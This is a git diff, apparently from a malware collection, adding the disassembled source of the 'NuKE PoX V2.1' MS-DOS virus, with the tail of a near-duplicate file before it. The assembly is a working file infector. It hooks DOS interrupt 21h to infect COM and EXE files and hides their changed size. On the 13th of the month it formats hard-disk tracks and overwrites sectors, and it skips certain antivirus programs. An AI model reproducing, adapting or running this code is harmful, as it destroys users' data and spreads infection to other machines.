+;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_11 proc near + push si + push cx + mov si,dx + mov cx,256h + +locloop_52: + cmp byte ptr [si],2Eh ; '.' + je loc_53 ; Jump if equal + inc si + loop locloop_52 ; Loop if cx > 0 + +loc_53: + cmp word ptr [si-2],4E41h + jne loc_54 ; Jump if not equal + cmp word ptr [si-4],4353h + je loc_57 ; Jump if equal +loc_54: + cmp word ptr [si-2],4E41h + jne loc_55 ; Jump if not equal + cmp word ptr [si-4],454Ch + je loc_57 ; Jump if equal +loc_55: + cmp word ptr [si-2],544Fh + jne loc_56 ; Jump if not equal + cmp word ptr [si-4],5250h + je loc_57 ; Jump if equal +loc_56: + pop cx + pop si + clc ; Clear carry flag + retn +loc_57: + pop cx + pop si + stc ; Set carry flag + retn +sub_11 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_12 proc near + mov ax,5700h + call sub_2 + mov al,cl + or cl,1Fh + dec cx + xor al,cl + retn +sub_12 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_13 proc near + push bx + push cx + mov cl,7 + shl dx,cl ; Shift w/zeros fill + mov bx,ax + mov cl,9 + shr bx,cl ; Shift w/zeros fill + add dx,bx + and ax,1FFh + jz loc_58 ; Jump if zero + inc dx +loc_58: + pop cx + pop bx + mov cs:data_22,ax + mov cs:data_24,dx + mov ah,40h ; '@' + mov dx,77Eh + mov cx,1Bh + call sub_2 + retn +sub_13 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_14 proc near + pushf ; Push flags + push ax + push bx + push cx + push dx + push ds + push es + push ss + push sp + push cs + pop ds + mov dx,74Bh + mov ax,4300h + call sub_2 + jc loc_60 ; Jump if carry Set + test cl,1 + jz loc_59 ; Jump if zero + and cl,0FEh + mov ax,4301h + call sub_2 + jc loc_62 ; Jump if carry Set +loc_59: + mov ax,3D02h + call sub_2 +loc_60: + jc loc_62 ; Jump if carry Set + mov bx,ax + call sub_12 + jz loc_62 ; Jump if zero + mov data_18,cx + mov data_19,dx + mov ah,3Fh ; '?' + mov cx,3 + mov dx,77Eh + call sub_2 + jc loc_61 ; Jump if carry Set + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_2 + jc loc_62 ; Jump if carry Set + mov cx,ax + sub cx,3 + mov data_20,cx + call sub_6 + jc loc_62 ; Jump if carry Set + mov ah,40h ; '@' + mov dx,760h + mov cx,3 + call sub_2 +loc_61: + mov cx,data_18 + mov dx,data_19 + mov ax,5701h + call sub_2 + mov ah,3Eh ; '>' + call sub_2 +loc_62: + pop sp + pop ss + pop es + pop ds + pop dx + pop cx + pop bx + pop ax + popf ; Pop flags + retn +sub_14 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_15 proc near + mov cx,cs:data_28 + mov cs:data_13,cx + mov cx,cs:data_29 + mov cs:data_14,cx + mov cx,cs:data_27 + mov cs:data_15,cx + mov cx,cs:data_26 + mov cs:data_16,cx + push ax + push dx + call sub_10 + sub dx,cs:data_25 + mov word ptr cs:data_12,dx + push ax + push dx + call sub_6 + pop dx + pop ax + mov cs:data_29,dx + mov cs:data_28,ax + pop dx + pop ax + retn +sub_15 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_16 proc near + add ax,696h + adc dx,0 + push ax + push dx + call sub_10 + sub dx,cs:data_25 + add ax,40h + mov cs:data_26,dx + mov cs:data_27,ax + pop dx + pop ax + retn +sub_16 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_17 proc near + dec cx + mov cs:data_18,cx + mov cs:data_19,dx + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_2 + mov cx,dx + mov dx,ax + push cx + push dx + sub dx,1Bh + sbb cx,0 + mov ax,4200h + call sub_2 + push cs + pop ds + mov ah,3Fh ; '?' + mov cx,1Bh + mov dx,77Eh + call sub_2 + xor cx,cx ; Zero register + xor dx,dx ; Zero register + mov ax,4200h + call sub_2 + mov ah,40h ; '@' + mov dx,77Eh + mov cx,1Bh + cmp cs:data_21,5A4Dh + je loc_64 ; Jump if equal + mov cx,3 +loc_64: + call sub_2 + pop dx + pop cx + sub dx,696h + sbb cx,0 + mov ax,4200h + call sub_2 + mov ah,40h ; '@' + xor cx,cx ; Zero register + call sub_2 + mov cx,cs:data_18 + mov dx,cs:data_19 + mov ax,5701h + int 21h ; DOS Services ah=function 57h + ; set file date+time, bx=handle + ; cx=time, dx=time + mov ah,3Eh ; '>' + call sub_2 + retn +sub_17 endp + + db 'C:\COMMAND.COM' + db 0 +data_18 dw 0 +data_19 dw 0 + db 00h, 00h,0E9h +data_20 dw 9090h + db 'NuKE PoX V2.1 - Rock Steady' +data_21 dw 0CD90h ; Data table (indexed access) +data_22 dw 20h +data_24 dw 0 + db 0, 0 +data_25 dw 0 + db 0, 0, 0, 0 +data_26 dw 0 +data_27 dw 0 + db 0, 0 +data_28 dw 0 +data_29 dw 0 + db 0, 0, 0 + +seg_a ends + + + + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.npox21.asm b/MSDOS/Virus.MSDOS.Unknown.npox21.asm new file mode 100644 index 00000000..7d8df39b --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.npox21.asm @@ -0,0 +1,941 @@ + +PAGE 59,132 + +;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ +;ÛÛ ÛÛ +;ÛÛ NPOX21 ÛÛ +;ÛÛ ÛÛ +;ÛÛ Created: 28-Sep-92 ÛÛ +;ÛÛ Passes: 5 Analysis Options on: none ÛÛ +;ÛÛ ÛÛ +;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ + +data_1e equ 16h +data_2e equ 3 ;* +data_32e equ 103h ;* +data_33e equ 1 ;* + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +npox21 proc far + +start: + jmp short $+3 ; delay for I/O + nop + call sub_1 + +npox21 endp + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_1 proc near + pop bp + sub bp,106h + push ax + push bx + push cx + push dx + push si + push di + push bp + push es + push ds + mov ah,2Ah ; '*' + int 21h ; DOS Services ah=function 2Ah + ; get date, cx=year, dh=month + ; dl=day, al=day-of-week 0=SUN + cmp dl,0Dh + je loc_2 ; Jump if equal + jmp short loc_5 + db 90h +loc_2: + mov ch,0 + +locloop_3: + mov ah,5 + mov dh,0 + mov dl,80h + int 13h ; Disk dl=drive 0 ah=func 05h + ; format track=ch or cylindr=cx + ; al=interleave, dh=head + inc ch + jc loc_4 ; Jump if carry Set + cmp ch,10h + loopnz locloop_3 ; Loop if zf=0, cx>0 + +loc_4: + mov al,2 + mov cx,20h + mov dx,0 + int 26h ; Absolute disk write, drive al + ; if disk under 32MB, dx=start + ; cx=#sectors, ds:bx=buffer + ; else cx=-1, ds:dx=parm block +;* jmp far ptr loc_66 ;* + db 0EAh,0F0h,0FFh,0FFh,0FFh +loc_5: + mov ax,0ABDCh + int 21h ; ??INT Non-standard interrupt + cmp bx,0ABDCh + je loc_6 ; Jump if equal + push cs + pop ds + mov cx,es + mov ax,3521h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov word ptr cs:data_10+2[bp],es + mov cs:data_10[bp],bx + dec cx + mov es,cx + mov bx,es:data_2e + mov dx,696h + mov cl,4 + shr dx,cl ; Shift w/zeros fill + add dx,4 + mov cx,es + sub bx,dx + inc cx + mov es,cx + mov ah,4Ah ; 'J' + int 21h ; DOS Services ah=function 4Ah + ; change memory allocation + ; bx=bytes/16, es=mem segment + jc loc_6 ; Jump if carry Set + mov ah,48h ; 'H' + dec dx + mov bx,dx + int 21h ; DOS Services ah=function 48h + ; allocate memory, bx=bytes/16 + jc loc_6 ; Jump if carry Set + dec ax + mov es,ax + mov cx,8 + mov es:data_33e,cx + sub ax,0Fh + mov di,data_32e + mov es,ax + mov si,bp + add si,103h + mov cx,696h + cld ; Clear direction + repne movsb ; Rep zf=0+cx >0 Mov [si] to es:[di] + mov ax,2521h +;* mov dx,offset loc_65 ;* + db 0BAh, 8Eh, 02h + push es + pop ds + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx +loc_6: + push cs + pop ds + cmp cs:data_21[bp],5A4Dh + je loc_7 ; Jump if equal + mov bx,offset data_21 + add bx,bp + mov ax,[bx] + mov word ptr ds:[100h],ax + inc bx + inc bx + mov al,[bx] + mov byte ptr ds:[102h],al + pop ds + pop es + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + mov ax,offset start + push ax + retn + db 'Death to Separatist' + db 0 +loc_7: + mov bx,word ptr cs:data_12[bp] + mov dx,cs + sub dx,bx + mov ax,dx + add ax,cs:data_14[bp] + add dx,cs:data_16[bp] + mov bx,cs:data_13[bp] + mov word ptr cs:[236h][bp],bx + mov word ptr cs:[238h][bp],ax + mov ax,cs:data_13[bp] + mov word ptr cs:[22Ch][bp],dx + mov word ptr cs:[232h][bp],ax + pop ds + pop es + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + mov ax,0 + cli ; Disable interrupts + mov ss,ax + mov sp,0 + sti ; Enable interrupts +;* jmp far ptr loc_1 ;* +sub_1 endp + + db 0EAh, 00h, 00h, 00h, 00h +loc_8: + call sub_2 + test al,al + jnz loc_ret_15 ; Jump if not zero + push ax + push bx + push es + mov ah,51h ; 'Q' + int 21h ; DOS Services ah=function 51h + ; get active PSP segment in bx + ;* undocumented function + mov es,bx + cmp bx,es:data_1e + jne loc_14 ; Jump if not equal + mov bx,dx + mov al,[bx] + push ax + mov ah,2Fh ; '/' + int 21h ; DOS Services ah=function 2Fh + ; get DTA ptr into es:bx + pop ax + inc al + jnz loc_13 ; Jump if not zero + add bx,7 +loc_13: + mov ax,es:[bx+17h] + and ax,1Fh + cmp al,1Eh + jne loc_14 ; Jump if not equal + and byte ptr es:[bx+17h],0E0h + sub word ptr es:[bx+1Dh],696h + sbb word ptr es:[bx+1Fh],0 +loc_14: + pop es + pop bx + pop ax + +loc_ret_15: + iret ; Interrupt return + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_2 proc near + pushf ; Push flags + call dword ptr cs:data_10 + retn +sub_2 endp + + db 0EBh,0B0h +data_10 dw 0, 0 ; Data table (indexed access) + db 80h,0FCh, 11h, 74h,0F5h, 80h + db 0FCh, 12h, 74h,0F0h, 3Dh, 00h + db 4Bh, 74h, 27h, 80h,0FCh, 3Dh + db 74h, 12h, 80h,0FCh, 3Eh, 74h + db 15h, 3Dh,0DCh,0ABh, 75h, 02h + db 8Bh,0D8h + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_3 proc near + jmp dword ptr cs:data_10 + db 0CBh + db 0E8h,0BFh, 00h, 2Eh,0FFh, 2Eh + db 8Ah, 02h + db 0E8h,0E1h, 00h, 2Eh,0FFh, 2Eh + db 8Ah, 02h + db 0E8h,0ECh, 01h, 52h, 9Ch, 0Eh + db 0E8h,0E1h,0FFh, 5Ah, 50h, 53h + db 51h, 52h, 1Eh,0E8h, 00h, 03h + db 0E8h, 82h, 02h, 72h, 1Eh,0B8h + db 00h, 43h,0E8h,0A0h,0FFh, 72h + db 16h,0F6h,0C1h, 01h, 74h, 0Bh + db 80h,0E1h,0FEh,0B8h, 01h, 43h + db 0E8h, 90h,0FFh + db 72h, 66h +loc_21: + mov ax,3D02h + call sub_2 +loc_22: + jc loc_24 ; Jump if carry Set + mov bx,ax + call sub_12 + jz loc_24 ; Jump if zero + push cs + pop ds + mov data_18,cx + mov data_19,dx + mov ah,3Fh ; '?' + mov cx,1Bh + mov dx,77Eh + call sub_2 + jc loc_23 ; Jump if carry Set + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_2 + jc loc_23 ; Jump if carry Set + cmp data_21,5A4Dh + je loc_25 ; Jump if equal + mov cx,ax + sub cx,3 + mov data_20,cx + call sub_6 + jc loc_24 ; Jump if carry Set + mov ah,40h ; '@' + mov dx,760h + mov cx,3 + call sub_2 +loc_23: + mov cx,data_18 + mov dx,data_19 + mov ax,5701h + call sub_2 + mov ah,3Eh ; '>' + call sub_2 +loc_24: + pop ds + pop dx + pop cx + pop bx + pop ax + iret ; Interrupt return +loc_25: + call sub_15 + jc loc_24 ; Jump if carry Set + call sub_16 + call sub_13 + jmp short loc_23 +sub_3 endp + +data_12 db 0, 0 ; Data table (indexed access) +data_13 dw 0 ; Data table (indexed access) +data_14 dw 0 ; Data table (indexed access) +data_15 dw 0 +data_16 dw 0 ; Data table (indexed access) + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_4 proc near + call sub_8 + jnc loc_26 ; Jump if carry=0 + call sub_9 + jnc loc_26 ; Jump if carry=0 + retn +loc_26: + push ax + mov ax,3D02h + call sub_2 + jnc loc_27 ; Jump if carry=0 + pop ax + iret ; Interrupt return +loc_27: + push bx + push cx + push dx + push ds + mov bx,ax + call sub_12 + jnz loc_28 ; Jump if not zero + call sub_17 +loc_28: + pop ds + pop dx + pop cx + pop bx + pop ax + retn +sub_4 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_5 proc near + cmp bx,0 + je loc_ret_29 ; Jump if equal + cmp bx,5 + ja loc_30 ; Jump if above + +loc_ret_29: + retn +loc_30: + push ax + push bx + push cx + push dx + push di + push ds + push es + push bp + push bx + mov ax,1220h + int 2Fh ; DOS Internal services + ;* undocumented function + mov ax,1216h + mov bl,es:[di] + int 2Fh ; DOS Internal services + ;* undocumented function + pop bx + add di,11h + mov byte ptr es:[di-0Fh],2 + add di,17h + cmp word ptr es:[di],4F43h + jne loc_31 ; Jump if not equal + cmp byte ptr es:[di+2],4Dh ; 'M' + jne loc_34 ; Jump if not equal + jmp short loc_35 + db 90h +loc_31: + cmp word ptr es:[di],5845h + jne loc_34 ; Jump if not equal + cmp byte ptr es:[di+2],45h ; 'E' + jne loc_34 ; Jump if not equal + cmp word ptr es:[di-8],4353h + jne loc_32 ; Jump if not equal + cmp word ptr es:[di-6],4E41h + je loc_34 ; Jump if equal +loc_32: + cmp word ptr es:[di-8],2D46h + jne loc_33 ; Jump if not equal + cmp word ptr es:[di-6],5250h + je loc_34 ; Jump if equal +loc_33: + cmp word ptr es:[di-8],4C43h + jne loc_35 ; Jump if not equal + cmp word ptr es:[di-6],4145h + jne loc_35 ; Jump if not equal +loc_34: + jmp short loc_37 + db 90h +loc_35: + call sub_12 + jz loc_37 ; Jump if zero + push cs + pop ds + mov data_18,cx + mov data_19,dx + mov ax,4200h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_2 + mov ah,3Fh ; '?' + mov cx,1Bh + mov dx,77Eh + call sub_2 + jc loc_36 ; Jump if carry Set + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_2 + jc loc_36 ; Jump if carry Set + cmp data_21,5A4Dh + je loc_38 ; Jump if equal + mov cx,ax + sub cx,3 + mov data_20,cx + call sub_6 + jc loc_36 ; Jump if carry Set + mov ah,40h ; '@' + mov dx,760h + mov cx,3 + call sub_2 +loc_36: + mov cx,data_18 + mov dx,data_19 + mov ax,5701h + call sub_2 +loc_37: + pop bp + pop es + pop ds + pop di + pop dx + pop cx + pop bx + pop ax + retn +loc_38: + call sub_15 + jc loc_36 ; Jump if carry Set + call sub_16 + call sub_13 + jmp short loc_36 +sub_5 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_6 proc near + mov ah,40h ; '@' + mov dx,103h + mov cx,696h + call sub_2 + jc loc_39 ; Jump if carry Set + mov ax,4200h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_2 + jc loc_39 ; Jump if carry Set + clc ; Clear carry flag + retn +loc_39: + stc ; Set carry flag + retn +sub_6 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_7 proc near + push ax + push bx + push cx + push dx + push ds + mov ax,4300h + call sub_2 + test cl,1 + jz loc_40 ; Jump if zero + and cl,0FEh + mov ax,4301h + call sub_2 + jc loc_41 ; Jump if carry Set +loc_40: + mov ax,3D02h + call sub_2 + jc loc_41 ; Jump if carry Set + mov bx,ax + call sub_12 + jnz loc_41 ; Jump if not zero + call sub_17 +loc_41: + pop ds + pop dx + pop cx + pop bx + pop ax + retn +sub_7 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_8 proc near + push si + push cx + mov si,dx + mov cx,256h + +locloop_42: + cmp byte ptr [si],2Eh ; '.' + je loc_43 ; Jump if equal + inc si + loop locloop_42 ; Loop if cx > 0 + +loc_43: + cmp word ptr [si+1],4F43h + jne loc_44 ; Jump if not equal + cmp byte ptr [si+3],4Dh ; 'M' + je loc_46 ; Jump if equal +loc_44: + cmp word ptr [si+1],6F63h + jne loc_45 ; Jump if not equal + cmp byte ptr [si+3],6Dh ; 'm' + je loc_46 ; Jump if equal +loc_45: + pop cx + pop si + stc ; Set carry flag + retn +loc_46: + pop cx + pop si + clc ; Clear carry flag + retn +sub_8 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_9 proc near + push si + push cx + mov si,dx + mov cx,256h + +locloop_47: + cmp byte ptr [si],2Eh ; '.' + je loc_48 ; Jump if equal + inc si + loop locloop_47 ; Loop if cx > 0 + +loc_48: + cmp word ptr [si+1],5845h + jne loc_49 ; Jump if not equal + cmp byte ptr [si+3],45h ; 'E' + je loc_51 ; Jump if equal +loc_49: + cmp word ptr [si+1],7865h + jne loc_50 ; Jump if not equal + cmp byte ptr [si+3],65h ; 'e' + je loc_51 ; Jump if equal +loc_50: + pop cx + pop si + stc ; Set carry flag + retn +loc_51: + pop cx + pop si + clc ; Clear carry flag + retn +sub_9 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_10 proc near + push bx + push cx + mov cl,0Ch + shl dx,cl ; Shift w/zeros fill + xchg ax,bx + mov cl,4 + shr bx,cl ; Shift w/zeros fill + and ax,0Fh + add dx,bx + pop cx + pop bx + retn +sub_10 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_11 proc near + push si + push cx + mov si,dx + mov cx,256h + +locloop_52: + cmp byte ptr [si],2Eh ; '.' + je loc_53 ; Jump if equal + inc si + loop locloop_52 ; Loop if cx > 0 + +loc_53: + cmp word ptr [si-2],4E41h + jne loc_54 ; Jump if not equal + cmp word ptr [si-4],4353h + je loc_57 ; Jump if equal +loc_54: + cmp word ptr [si-2],4E41h + jne loc_55 ; Jump if not equal + cmp word ptr [si-4],454Ch + je loc_57 ; Jump if equal +loc_55: + cmp word ptr [si-2],544Fh + jne loc_56 ; Jump if not equal + cmp word ptr [si-4],5250h + je loc_57 ; Jump if equal +loc_56: + pop cx + pop si + clc ; Clear carry flag + retn +loc_57: + pop cx + pop si + stc ; Set carry flag + retn +sub_11 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_12 proc near + mov ax,5700h + call sub_2 + mov al,cl + or cl,1Fh + dec cx + xor al,cl + retn +sub_12 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_13 proc near + push bx + push cx + mov cl,7 + shl dx,cl ; Shift w/zeros fill + mov bx,ax + mov cl,9 + shr bx,cl ; Shift w/zeros fill + add dx,bx + and ax,1FFh + jz loc_58 ; Jump if zero + inc dx +loc_58: + pop cx + pop bx + mov cs:data_22,ax + mov cs:data_24,dx + mov ah,40h ; '@' + mov dx,77Eh + mov cx,1Bh + call sub_2 + retn +sub_13 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_14 proc near + pushf ; Push flags + push ax + push bx + push cx + push dx + push ds + push es + push ss + push sp + push cs + pop ds + mov dx,74Bh + mov ax,4300h + call sub_2 + jc loc_60 ; Jump if carry Set + test cl,1 + jz loc_59 ; Jump if zero + and cl,0FEh + mov ax,4301h + call sub_2 + jc loc_62 ; Jump if carry Set +loc_59: + mov ax,3D02h + call sub_2 +loc_60: + jc loc_62 ; Jump if carry Set + mov bx,ax + call sub_12 + jz loc_62 ; Jump if zero + mov data_18,cx + mov data_19,dx + mov ah,3Fh ; '?' + mov cx,3 + mov dx,77Eh + call sub_2 + jc loc_61 ; Jump if carry Set + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_2 + jc loc_62 ; Jump if carry Set + mov cx,ax + sub cx,3 + mov data_20,cx + call sub_6 + jc loc_62 ; Jump if carry Set + mov ah,40h ; '@' + mov dx,760h + mov cx,3 + call sub_2 +loc_61: + mov cx,data_18 + mov dx,data_19 + mov ax,5701h + call sub_2 + mov ah,3Eh ; '>' + call sub_2 